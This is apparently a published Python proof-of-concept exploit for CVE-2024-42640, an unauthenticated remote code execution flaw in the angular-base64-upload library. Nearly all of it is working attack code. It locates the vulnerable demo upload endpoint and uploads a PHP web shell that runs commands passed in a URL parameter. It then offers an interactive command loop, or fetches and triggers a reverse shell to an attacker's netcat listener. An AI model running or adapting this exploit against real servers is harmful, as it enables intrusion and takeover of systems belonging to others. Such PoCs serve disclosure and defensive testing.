1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 |
# Exploit Title: Angular-Base64-Upload Library 0.1.21 - Unauthenticated Remote Code Execution (RCE) # Date: 10 October 2024 # Discovered by : Ravindu Wickramasinghe | rvz (@rvizx9) # Exploit Author: Ravindu Wickramasinghe | rvz (@rvizx9) # Vendor Homepage: https://www.npmjs.com/package/angular-base64-upload # Software Link: https://github.com/adonespitogo/angular-base64-upload # Version: prior to v0.1.21 # Tested on: Arch Linux # CVE : CVE-2024-42640 # Severity: Critical - 10.0 (CVSS 4.0) # Github Link : https://github.com/rvizx/CVE-2024-42640 # Blog Post : https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html import re import subprocess import requests import sys import os import uuid import base64 import cmd from urllib.parse import urlparse def banner(): print(''' \033[2mCVE-2024-42640\033[0m - Unauthenticated RCE via Anuglar-Base64-Upload Library \033[2m PoC Exploit \033[0mRavindu Wickramasinghe\033[2m | rvz (ラヴィズ) - twitter: @rvizx9 https://github.com/rvizx/\033[0mCVE-2024-42640 ''') def check_version(target): response = requests.get(target) first_line = response.text.splitlines()[0].strip() match = re.search(r'v0\.(1|0)\.(\d+)', first_line) if match: version = match.group(0) x_value = int(match.group(1)) if x_value <= 20: print(f"\033[94m[inf]:\033[0m target is using a vulnerable version. [version]: {version}") else: print(f"\033[91m[err]:\033[0m target is not vulnerable [version]: {version}") exit() else: print("\033[91m[err]:\033[0m couldn't find the version") def enum(url): print("\033[94m[inf]:\033[0m enumerating... ") target = f"{url}/bower_components/angular-base64-upload/dist/angular-base64-upload.min.js" r = requests.head(target) if r.status_code == 200: print("\033[94m[inf]:\033[0m target is using bower_components") check_version(target) else: print("\033[94m[inf]:\033[0m target is not using bower_components") target = f"{url}/node_modules/angular-base64-upload/dist/angular-base64-upload.min.js" r = requests.head(target) if r.status_code == 200: print("\033[94m[inf]:\033[0m target is using node_modules") check_version(target) else: print("\033[94m[inf]:\033[0m target is not using node_modules") print("\033[91m[err]:\033[0m an error occured, it was not possible to enumerate for dist/angular-base64-upload.min.js") print("\033[93m[ins]:\033[0m please make sure you've defined the target to the endpoint prior to the depdency installation directory") print("\033[93m[ins]:\033[0m for manual exploitation, please refer to this: https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html") print("\033[91m[err]:\033[0m exiting..") exit() exploit(target) class CmdShell(cmd.Cmd): username = subprocess.check_output("whoami", shell=True).strip().decode() domain = urlparse(sys.argv[1]).netloc prompt = f"{username}@{domain} > " def __init__(self, payload_url): super().__init__() self.payload_url = payload_url def default(self, line): url = f"{self.payload_url}?cmd={line}" try: response = requests.get(url) print(response.text) except requests.RequestException as e: print("\033[91m[err]:\033[0m {e}") def do_exit(self, arg): return True def exploit(target): print(f"[dbg]: {target}") target_server_url = target.replace("dist/angular-base64-upload.min.js","demo/server.php") print(f"[dbg]: {target_server_url}") payload_name = str(uuid.uuid4())+".php" iflen(sys.argv) > 2: if sys.argv[2] == "--rev": revshell = "https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php" print("\033[94m[inf]:\033[0m generating a php reverse shell to upload..") ip = input("\033[93m[ins]:\033[0m enter listener ip / domain: ") port = input("\033[93m[ins]:\033[0m enter listenter port: ") print(f"\033[93m[ins]:\033[0m start a listener, execute nc -lvnp {port}") input("\033[93m[ins]:\033[0m press enter to continue...") print("\033[94m[inf]:\033[0m downloading php-reverse-shell from github/pentestmonkey...") response = requests.get(revshell) if response.status_code == 200: payload = response.text.replace("127.0.0.1", ip).replace("1234", port) # replacing default values with user input with open(payload_name, "w") as file: file.write(payload) payload_url = upload_to_server(payload_name,target_server_url) print("\033[94m[inf]:\033[0m executing the uploaded reverse-shell..") r = requests.get(payload_url) if r.status_code == 200: print("\033[94m[inf]:\033[0m process complete!") else: print("\033[91m[err]:\033[0m something went wrong!") print("\033[93m[ins]:\033[0m please check the listener for incoming connections.") else: print("\033[91m[err]:\033[0m failed to fetch the php-reverse-shell.") print("\033[91m[err]:\033[0m exiting..") exit() else: payload = "<?php if($_GET['cmd']) {system($_GET['cmd']);} ?>" with open(payload_name, "w") as file: file.write(payload) payload_url = upload_to_server(payload_name,target_server_url) cmd_shell = CmdShell(payload_url) cmd_shell.cmdloop() def upload_to_server(payload_name,target_server_url): try: with open(payload_name, 'rb') as file: file_content = file.read() base64_payload = base64.b64encode(file_content).decode('utf-8') headers = { 'Content-Type': 'application/json', } json_data = { 'base64': base64_payload, 'filename': payload_name, } response = requests.post(target_server_url, headers=headers, json=json_data, verify=False) print("\033[94m[inf]:\033[0m file upload request sent! [status-code]: ",response.status_code) updemo_endpoint = f"uploads/{payload_name}" print(f"[dbg]: {updemo_endpoint}") payload_url = target_server_url.replace("server.php",updemo_endpoint) print(f"[dbg]: {payload_url}") if response.status_code == 200: print(f"\033[94m[inf]:\033[0m payload is uploaded to {payload_url}") return payload_url else: print("\033[91m[err]:\033[0m something went wrong! failed to upload the payload to server") exit() except Exception as e: print(f"\033[91m[err]:\033[0m {e}") exit() if __name__ == "__main__": try: banner() iflen(sys.argv) > 1: url = sys.argv[1] print(f"\033[94m[inf]:\033[0m target: {url}") enum(url) else: print("[usg]: ./exploit.py <target-url>") print("[usg]: ./exploit.py <target-url> --rev") exit() except Exception as e: print(f"\033[91m[err]:\033[0m {e}") exit() |